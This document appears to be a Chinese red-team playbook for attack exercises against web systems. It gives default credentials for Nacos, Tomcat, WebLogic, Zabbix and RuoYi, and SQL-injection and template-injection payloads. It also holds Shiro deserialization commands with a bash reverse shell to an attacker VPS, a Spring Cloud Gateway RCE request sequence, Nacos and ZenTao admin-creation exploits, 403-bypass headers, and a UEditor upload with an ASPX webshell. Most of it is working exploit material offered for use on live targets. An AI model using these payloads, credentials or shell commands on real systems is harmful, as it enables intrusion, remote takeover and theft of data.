https://github.com/huyuanzhi2/keyboard_type_passwords 键盘组合口令
https://github.com/fuzz-security/SuperWordlist 还不错
https://github.com/TheKingOfDuck/fuzzDicts 接口字段
https://github.com/yzddmr6/WebCrack 貌似是前端登陆爆破的工具脚本
默认账号:admin
默认密码:123456
提权:
后台可反弹shell
xxl-job 未授权rce
GitHub - mrknow001/xxl-job-rce: xxl-job未授权命令执行
默认账号:admin
默认密码: P@88w0rd
直接接管集群
默认账号:admin
默认密码:zabbix
后台可反弹shell
默认账号:admin
默认密码:admin
默认账号:naocs
默认密码:nacos
后台有配置信息常见系统弱口令
能否提权?
取决于nacos后台是否存有 ak/sk 数据库密码等敏感信息
默认账号:admin,tomcat
默认密码:admin,tomcat
后台可反弹shell
提权:
直接后台部署War包
写webshell
今年实战中,我遇到tomcat PUT上传
PUT /test.txt
Put任意文件上传
默认账号:admin
默认密码:admin常见系统弱口令
一般是打21年以前的,t3协议开的weblogic 基本是直接rce
默认账号:weblogic
默认密码:weblogic
默认账号:admin,guest
默认密码:admin,guest常见系统弱口令
可以RCE
默认账号:root
默认密码:可爆破
默认账号:admin
默认密码:123456常见系统弱口令
提权:
可以搭配session进行后台利用
外包第三方多, 还有政府
默认账号:admin
默认密码:admin123
详见若依打法
随便登录账号显示账号不存在,说明可以枚举用户名,可以用推荐字典中test-phone.txt的字典,枚举一下存在的手机号,如果枚举成功后再爆破密码。
常见用户密码
admin、root、administrator、ceshi、test、sysadmin、system
1.弱口令用户名如admin,test,ceshi等
2.员工姓名全拼,员工姓名简拼
3.公司特征+员工工号/员工姓名
4.员工工号+姓名简拼
5.员工姓名全拼+员工工号
6.员工姓名全拼+重复次数,如zhangsan和zhangsan01
7.其他
Git是一个开源的分布式版本控制系统,在执行git init初始化目录的时候,会在当前目录下自动创建一个.git 目录,用来记录代码的变更记录等。发布代码的时候,如果没有把.git这个目录删除,就直接发布到了服务器上,攻击者就可以通过它来恢复源代码。
漏洞利用工具:GitHack
github项目地址: https://github.com/lijiejie/GitHack
用法示例:
GitHack.py http://www.openssl.org/.git/
修复建议:删除.git目录或者修改中间件配置进行对.git隐藏文件夹的访问。
DS_Store 文件泄露.DS_Store是Mac下Finder用来保存如何展示 文件/文件夹 的数据文件,每个文件夹下对应一个。如果将.DS_Store上传部署到服务器,可能造成文件目录结构泄漏,特别是备份文件、源代码文件。
漏洞利用工具:
github项目地址: https://github.com/lijiejie/ds_store_exp
用法示例:
ds_store_exp.py http://hd.zj.qq.com/themes/galaxyw/.DS_Store
svn源码泄露SVN是一个开放源代码的版本控制系统。在使用SVN管理本地代码过程中,会自动生成一个名为.svn的隐藏文件夹,其中包含重要的源代码信息。网站管理员在发布代码时,没有使用‘导出’功能,而是直接复制代码文件夹到WEB服务器上,这就使.svn隐藏文件夹被暴露于外网环境,可以利用.svn/entries文件,获取到服务器源码。
漏洞利用工具:Seay SVN漏洞利用工具
heapdump 阿里云的密钥,内网的redis账号密码 ftp ssh mysql 也有可能有公网数据库,oss 、shiro key 、JWT secret
如果Actuator使用不当或者一些不经意的疏忽,可能造成信息泄露等严重的安全隐患。
默认端点为/heapdump,下载的heapdump文件包含时间以及后缀hprof Spring boot 2.x版本,默认端点为/Actuator/heapdump,需要将下载的heapdump文件加上.hprof后缀
https://github.com/wyzxxz/heapdump_tool
java -jar heapdump_tool.jar heapdump
输入敏感字password即可
参考案例ThermalPower
Heapdump泄露shiro key
http://ip:9003/actuator/heapdump
之前在信息收集主动信息收集这个章节里面,我们讲了就针对URL,我们昀常用的思路就是指纹识别和路径扫描,然后路径扫描我们可以得到什么东西呢?
大概就两种东西呃,文件泄露还有一些特定的。指纹识别就是通过相应的路径来进行精准的指纹识别一些。
存在的组件在然后就是发现一些未授权访问的一些界面,或者路径。
手工渗透核心的思路就是批量打开网页查看返回包
如果删除cookie,鉴权相关HTTP头,也能访问,基本就是未授权,当然这只是Src的思路
我们的主要目的是要找到未授权文件上传接口,或者未授权添加用户的接口。
逻辑未授权,就是抓包改包,需要懂点英文
true->false
fail->success 大小写统一
0->1
遇到这种响应包可以尝试将flase改成true,如果返回code:* 可以改成登陆成功的数字比如200
成功进来,测试其他功能
遇到这种情况不用慌,可能是校验了一些接口,我们可以在相应包把这个跳转去掉,测试接口
真实常见建议把 max_qps
改低一些 如50-10之间
现在很少遇到了。遇到基本是6版本以后的
利用Mysql写webshell :
漏洞点为系统管理中的角色管理的搜索功能,发现注入点参数为:params[dataScope]
POC:
pageSize=&pageNum=&orderByColumn=&isAsc=&roleName=&roleKey=&status=¶ms[beginTime ]=¶ms[endTime]=¶ms[dataScope]=and extractvalue(1,concat(0x7e,substring((select database()),1,32),0x7e))
Thymeleaf模板注入(需要登录)
给payload编码一下,选URL编码:
${T (java.lang.Runtime).getRuntime().exec("curl xxxx.dnslog.cn")}
登录系统,需要添加cookie访问
http://192.168.0.2/monitor/cache/getNames?fragment=header(%24%7b%54%20%2 8%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%29%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%63 %75%72%6c%20%78%78%78%78%2e%64%6e%73%6c%6f%67%2e%63%6e%22%29 %7d%0a)
yaml-payload下载地址
https://github.com/artsploit/yaml-payload/
修改AwesomeScriptEngineFactory.java
javac src/artsploit/AwesomeScriptEngineFactory.java
//会生成一个
AwesomeScriptEngineFactory.class
文件
jar -cvf yaml-payload.jar -C src/ .
//将src目录下的文件打包为yaml-payload.jar的jar包
若依系统内置了swagger,所以会有可能有未授权访问未授权访问路径常见的有 /swagger-ui.html
,/prod-api/swagger-ui.html
,/api/swagger-ui.html
等,配合目录扫描工具效果更佳。
用于弱口令爆破,偏门的用户名容易出成果。
通过接口获取用户名,搭配123456进行后台账户弱口令爆破
通过微信以游客身份登录小程序,结合该系统后台API若依框架开发,故利用以下请求接口成功获取到当前该系统后台管理员账户信息为admin,admin_ah,admin_ah2,还有其他各类接口,这里不做展示,可参考其他若依开发的系统照搬。
在/prod-api/system/user/authRole/1,通过遍历用户ID可获取该用户的密码hash值
大部分情况下可以被指纹识别
总结:看见Do、action后缀结尾的网站都要留意一下之前打某电网,就是这样偶然爆到一个路径发现web入口
登录后台是action结尾,第六感直接S2一把梭
fofa语法 app=”Struts2”
一般都藏的很深,很偏的边缘网站上,可能运维人员都知道这个站不适合发到公网
比如: IP部署、 子域名发出来 一会又偷偷关了
打内存马、一把梭
Xray shiro专题扫描
mingdong Burp插件扫描
Ez、Arl自带扫描
或者通过主动指纹识别区分资产之后主动扫描
无链基本就是拼运气,看Dnslog有没有记录
常规的打点可通过fofa、hunter、quake等网络测绘平台进行资产收集,收集好后进行去重,把去重后的资产列表进行批量指纹识别,筛选出重要易打点的系统
在常规的hw中这些方法比较通用,但是对于教育行业来说会相对困难,有edusrc的存在许多通用型漏洞已经被提交修复了,因此在信息搜集的时候要多去寻找旁站和一些容易被遗漏的站点
坐了一天牢后,终于通过测绘平台找到一个比较偏的资产,直接访问是一个静态页面,但扫描目录后指纹识别一波发现是shiro
直接工具开冲,发现有默认key但是无利用链
这里想到之前学习shiro可以无依赖利用,感觉有戏尝试一波,相关知识可学习此文章
https://www.le1a.com/posts/a5f4a9e3/
java -jar shiro_tool.jar 地址
VPS:端口
通过dnslog测试有回显,这里有个注意点:使用 http://dnslog.cn/ 部分站点会拦截,可以换多个dnslog平台
测试
dnslog有回显接下来就是拿shell了,这里由于固化思维,之前遇到的都是linux系统,先入为主觉得是Linux,结果没利用成功
这里可以通过网站快速生成payload, https://x.hacking8.com/java-runtime.html
一开始以为是防火墙拦截,后面队友探测了一下目录结构,发现是windows,所以这里payload要改变一下
Linux:
#字段=bash -i >& /dev/tcp/x.x.x.x/8888 0>&1 base64后的值
java -cp ysoserial-0.0.8-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 88
CommonsBeanutils1 "bash -c {echo,字段}|{base64,-d}|{bash,-i}"
Windows:
java -jar JNDIExploit-1.0-SNAPSHOT.jar -i VPS地址
java -cp ysoserial-0.0.6-SNAPSHOT-1.8.3.jar ysoserial.exploit.JRMPListener 88 CommonsBeanutils2 "ldap://VPS地址:1389/Basic/Command/Base64/d2hvYW1p"
d2hvYW1p为命令的base64,这里是执行命令whoami
mingdong + dnslog (很多时候能收到回显,但是利用不了)
交给脚本吧
很常见
mingdong + dnslog
大部分OA都带路由的,只要把IP端口找到,直接访问或者路径拼接访问,都可以直接跳转到路由页面
基本拼的是自己的漏洞储备
一般都是打Nday
国护前的省护每年都会有攻击队砸0day
注意的是
一般存在目录
/druid/index.html
/druid/websession.html
/druid/datasource.html
/druid/sql.html
/druid/spring.html
常见的未授权
/api
/api-docs
/api-docs/swagger.json
/api.html
/api/api-docs
/api/apidocs
/api/doc
/api/swagger
/api/swagger-ui
/api/swagger-ui.html
/api/swagger-ui.html/
/api/swagger-ui.json
/api/swagger.json
/api/swagger/
/api/swagger/ui
/api/swagger/ui/
/api/swaggerui
/api/swaggerui/
/api/v1/
/api/v1/api-docs
/api/v1/apidocs
/api/v1/swagger
/api/v1/swagger-ui
/api/v1/swagger-ui.html
/api/v1/swagger-ui.json
/api/v1/swagger.json
/api/v1/swagger/
/api/v2
/api/v2/api-docs
/api/v2/apidocs
/api/v2/swagger
/api/v2/swagger-ui
/api/v2/swagger-ui.html
/api/v2/swagger-ui.json
/api/v2/swagger.json
/api/v2/swagger/
/api/v3
/apidocs
/apidocs/swagger.json
/doc.html
/docs/
/graphql
/libs/swaggerui
/libs/swaggerui/
/spring-security-oauth-resource/swagger-ui.html
/spring-security-rest/api/swagger-ui.html
/sw/swagger-ui.html
/swagger
/swagger-resources
/swagger-resources/configuration/security
/swagger-resources/configuration/security/
/swagger-resources/configuration/ui
/swagger-resources/configuration/ui/
/swagger-ui
/swagger-ui.html
/swagger-ui.html#/api-memory-controller
/swagger-ui.html/
/swagger-ui.json
/swagger-ui/swagger.json
/swagger.json
/swagger.yml
/swagger/
/swagger/index.html
/swagger/static/index.html
/swagger/swagger-ui.html
/swagger/ui/
/Swagger/ui/index
/swagger/ui/index
/swagger/v1/swagger.json
/swagger/v2/swagger.json
/template/swagger-ui.html
/user/swagger-ui.html
/user/swagger-ui.html/
/v1.x/swagger-ui.html
/v1/api-docs
/v1/swagger.json
/v2/api-docs
/v3/api-docs
首先,是未授权的访问界面,主要关注Session监控和URI监控这两个地方,如图
可以看到,存在了大量SESSION信息,我们找几个拿来用,需要访问的IP地址是外外网IP,因为内部访问的
用不了,我收集了下面这三个:
0b055336-85f8-4bdc-8008-d45dc23c6b2f
7a5681a1-a790-47fa-948b-a1f1a3532d09
3aaaa4d3-1259-4e64-835d-fb1f9bf35eda
既然有session了,下面要找到登录界面尝试一下登录的时候替换session会有什么效果,然后我再URI监控的地方找到了一些后台登录地址:
直觉感觉membership/index 页面可能不寻常,构造使用下方POST包,使用Burp发包:
POST /********-service/me****ship/index/ HTTP/1.1
Host: *****.bl*******.com.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0)
Gecko/20100101Firefox/79.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 101
Origin: http://***p.********.com.c*
Connection: close
Referer: http://*****.bl*******.com.cn/******-view/
Cookie: Hm_lvt_ed752fa41bdfde359bfde28ccd27b888=1597904479,1597907505;sid=0b055336-85f8-4bdc-8008-d45dc23c6b2f;token=029d8a6ac03358de6e57c7254acbd017;
username=80560478&password=FSMBKxmUSkq9MfJjyAgyEA%3D%3D&isCookieLogin=Y&validationCo de=anqr&brand=999
其中要注意的是Cookie中的sid参数,即为session里面监控找到的数据,使用burp观察返回包:
可以看到用在Session监控下收集的数据,替换过后,可以得到用户名和用户ID。
下面我们需要使用到用户id,来到某大数据产品平台,输入用户id,密码随便填写
我们使用80560478这个账号,也就是上面通过session获取到的:
我们将标记的sid替换为前面收集0b055336-85f8-4bdc-8008-d45dc23c6b2f这个,也就是获取到账号80560478的session:
最终可以看到成功登录到后台页面。
要GET的页面
必须是后台本身存在的页面
比如常见的
index
home
main
info
userinfo
admin
如果是jsp的站,记住加相应的后缀
swagger接口利用
对于这种swagger接口信息泄露的,你一个个去测很麻烦,于是推荐一个工具
https://github.com/jayus0821/swagger-hack
python swagger-hack2.0.py -u "[http://xxx.com](http://xxx.com)"
在泄露的Swagger UI页面中发现了管理员添加用户模块以及分配权限模块。
有一个小细节需要注意,如果Swagger页面的地址不是直接拼接在域名之后,而是需要在域名后添加一些额外的路径,就像图中所示的情况,直接请求可能会导致404错误。
因此,一般需要在域名后添加swagger-ui.html之前的URI地址(例如示例中的/api),才能够正常进行访问。
而在这种情况下,管理员添加用户接口也存在相同的情况。将curl指令复制出来,并添加上缺失的URI地址后,直接测试访问发现存在身份认证。
但幸运的是,对应该Swagger的web应用提供了注册功能。我们尝试利用注册的低权限用户的cookie去访问,以查看是否可以进行垂直越权操作。将登录后的cookie添加在curl请求的-b参数中,再次访问,成功地进行了垂直越权,以管理员身份添加了用户。
接着,利用泄露的权限管理接口,成功为用户添加了管理员模块权限。
根据查询接口的参数进行正常的SQL注入即可。
3.未授权访问
许多开发者为了方便接口测试,取消了身份会话认证,这也导致了未授权访问问题变得十分频繁。可以想象一下,几十个功能接口就像是光溜溜地躺在你面前,等待着被发现和利用。
最常见的情况就是未授权的查询接口,只需要简单地点击一下"Execute"按钮,所需的信息就会呈现出来。
如果接口自带try it out
可直接前端点击上传
文件上传接口大多采用纯接口形式,没有前端校验,因此可以直接上传相应的测试脚本文件进行安全测试
构造上传
构造上传文件
因为Swagger UI页面的泄露本身就属于最严重的敏感信息泄露,相比于接口中的敏感信息泄露,更多的情况是模块中的测试数据泄露。有时测试账号也可能拥有较高的权限,这增加了安全风险。
如果Swagger开启了页面访问限制
如图所示,某个Swagger UI页面已经添加了登录认证。
除了尝试弱口令,还可以直接在swagger-ui.html之前的路径后添加/v1/api-docs,这样就可以访问接口了(其中v1代表接口的版本,你也可以尝试v2、v3等版本,也许会有意想不到的惊喜等着你~)。
您可以以 JSON 格式查看 Swagger 文档,只需访问以下路径:
/swagger/v1/swagger.json
这将返回一个包含 Swagger 文档信息的 JSON 格式文件。
插件扫到spring boot未授权
Spring Boot Actuator heapdump 阿里云的密钥,内网的redis账号密码 ftp ssh mysql 也有可能有公网数据库,oss shiro key 反序列化 rce
使用apikit去跑路由
经典spring getway,发现存在的时候,就直接丢工具了,但是提示不存在漏洞本来是准备放弃了,翻apikit的扫描结果的时候,发现这个getway接口是正常可以访问,响应200且存在回显的
随机手工发包添加路由,201有戏,这里路径一定要对
POST /prod-api/actuator/gateway/routes/hacktest HTTP/1.1
Host: IP:8000
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: enå
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko)
Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 331
{
"id": "test",
"filters": [
{
"name": "AddResponseHeader",
"args": {
"value": "#{new
java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang
.Runtime).getRuntime().exec(new String[]{\"whoami\"}).getInputStream()))}",
"name": "result"
}
}
],
"uri": "http://example.com:80",
"order": 0
}
然后刷新路由,报了400,但是不影响
POST /prod-api/actuator/gateway/refresh HTTP/1.1
Host: IP:8000
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Accept-Language: zh-CN,zh;q=0.9
Cookie: EASSESSIONID=154752934; NAPRoutID=154752934
Connection: keep-alive
访问路由,rce到手
GET /prod-api/actuator/gateway/routes/hacktest HTTP/1.1
Host: ip:8000
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko)
Chrome/97.0.4692.71 Safari/537.36
Connection: close
有时候工具不行,建议手工试试,再推荐两个工具
https://github.com/CllmsyK/YYBaby-Spring_Scan
https://github.com/wh1t3zer/SpringBootVul-GUI
默认口令nacos/nacos
存在未授权添加管理员漏洞
未授权进入后台添加
返回包修改为如下
HTTP/1.1 200
Date: Thu, 10 Nov 2022 01:27:16 GMTContent-Type: application/jsonContent-Length: 13
Connection: close
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-HeadersContent-Security-Policy: script-src 'self'
Server: elb
{"accessToken":"eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTYxODEyMzY5N30.nyo oAL4OMdiByXocu8kL1ooXd1IeKj6wQZwIH8nmcNA","tokenTtl":18000,"globalAdmin":true}
未授权访问到管理控制台
后续操作添加header
ServerIdentity: security
即可绕过任意操作
取决于nacos后台是否存有 ak/sk 数据库密码等敏感信息
可直接通过CF或各大云渗透exp直接接管云服务器
碰到asp.net默认页面的时候,得留意一下有没有api的功能点
这些api接口可能会有漏洞sql、上传等等 可能就可以突破了
有 wsdl/soap 不知道怎么测?除了老版本awvs以外
可以使用 soapui 直接抓取目标接口,也可用 burp 插件
Wsdler进行SQL注入、XSS测试
jeecg综合漏洞利用工具
https://github.com/MInggongK/jeecg-/releases/tag/jeecgdg
指纹:
body="jeecg-boot"
title="Jeecg-Boot 快速开发平台" || body="积木报表"
body="jeecg-boot"
app="JEECG"
0x01 简介
禅道由禅道软件(青岛)有限公司开发,国产开源项目管理软件。它集项目集管理、产品管理、项目管理、质量管理、DevOps、知识库、BI效能、工作流、学堂、反馈管理、组织管理和事务管理于一体,是一款专业的研发项目管理软件,完整覆盖了研发项目管理的核心流程。
0x02 漏洞概述
禅道项目管理系统在开源版、企业版、旗舰版的部分版本中都存在此安全漏洞。攻击者可利用该漏洞创建管理员用户,获得后台管理员权限。在进入后台后,也可以结合其他漏洞实现远程代码执行。
0x03 影响版本
v16.x <= 禅道 < v18.12 (开源版)
v6.x <= 禅道 < v8.12 (企业版)
v3.x <= 禅道 < v4.12 (旗舰版)
0x04 环境搭建
windows安装包地址如下:
https://www.zentao.net/dl/zentao/18.10/ZenTaoPMS-18.10-zbox.win64.exe
成功搭建
0x05 漏洞利用
未授权获取有效cookie
GET /zentao/api.php?
m=testcase&f=savexmindimport&HTTP_X_REQUESTED_WITH=XMLHttpRequest&productID=dddidkyo dsnfamzvjidb&branch=klmnehgxnsmeuhshbooy HTTP/1.1
Host: 127.0.0.1:81
Content-Length: 2
创建管理员用户
POST /zentao/api.php/v1/users HTTP/1.1
Host: 127.0.0.1:81
Cookie: zentaosid=xxxxx;
Content-Length: 90
{"account":"rootroot","password":"Qwe123","realname":"rootroot","role":"","group":"2 "}
下次遇到403的时候,可以尝试进行一些使用。
titile:服务器403路径的原因
1、你的IP被列入黑名单
解决办法——更换IP
2、你在一定时间内过多地访问此网站(一般是用采集程序),被防火墙拒绝访问了。
解决办法——更换IP,或者修改XFF头(某云waf就拦截XFF)
3、网站域名解析到了空间,但空间未绑定此域名
解决办法——没有绑定域名,需要进行Host碰撞猜解
4、你的网页脚本文件在当前目录下没有执行权限。
解决办法——更换目录,或者更换后缀
5、在不允许写/创建文件的目录中执行了创建/写文件操作。
解决办法——更换目录活或提权
6、以http方式访问需要ssl连接的网址。
解决办法——HTTPS
7、浏览器不支持SSL 128时访问SSL 128的连接。
解决办法——更换浏览器
8、在身份验证的过程中输入了错误的密码。
无
9、DNS解析错误,手动更改DNS服务器地址。
10、连接的用户过多,可以过后再试。
11、服务器繁忙,同一IP地址发送请求过多,遭到服务器智能屏蔽
在访问某些特定的目录为状态码为403,且请求延迟了几秒的情况下,可通过burp的intruder来进行测试,
可能发现目录遍历,从而导致敏感文件泄露。
intruder参数设置如下:
payload: null
Number of threats: 6
Numbers of retries on network failure: 4
ause before retry (milliseconds): 3000
可以通过修改如下Header头来试图改变请求IP,当然,他也可以尝试用来绕过FW的拦截IP黑名单
X-Originating-IP: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Client-IP: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Forwared-Host: 127.0.0.1
X-Host: 127.0.0.1
X-Custom-IP-Authorization: 127.0.0.1
https://i.xxxzhu.com 直接404
存在一个网站 http://i.xxxzhu.com
直接访问根目录302冲重定向跳转
添加/;/绕过302
/;/
/..;/
攻防场景
推荐直接使用dirsearch bypass403版本
知名编辑器Ueditoru存在未授权文件上传
需本地搭建html进行远程上传
Poc:
<form action="http://www.xxx.com/ueditor/net/controller.ashx?action=catchimage"
enctype="multipart/form-data" method="POST">
<p>shell addr: <input type="text" name="source[]" /></p>
<input type="submit" value="Submit" />
</form>
在利用这个POC的时候,需要一个外网服务器,上传脚本文件,其中【shell addr】后填写的就是服务器上脚本的地址加上后缀(?.aspx)。
制作一个图片马放到外网服务器上面
copy 1.jpg/b +2.aspx 3.jpg
一句话脚本
<%@ Page Language="Jscript"%><%eval(Request.Item["zhanan"],"unsafe");%>
上传成功后服务端会返回webshell地址
成功上传Webshell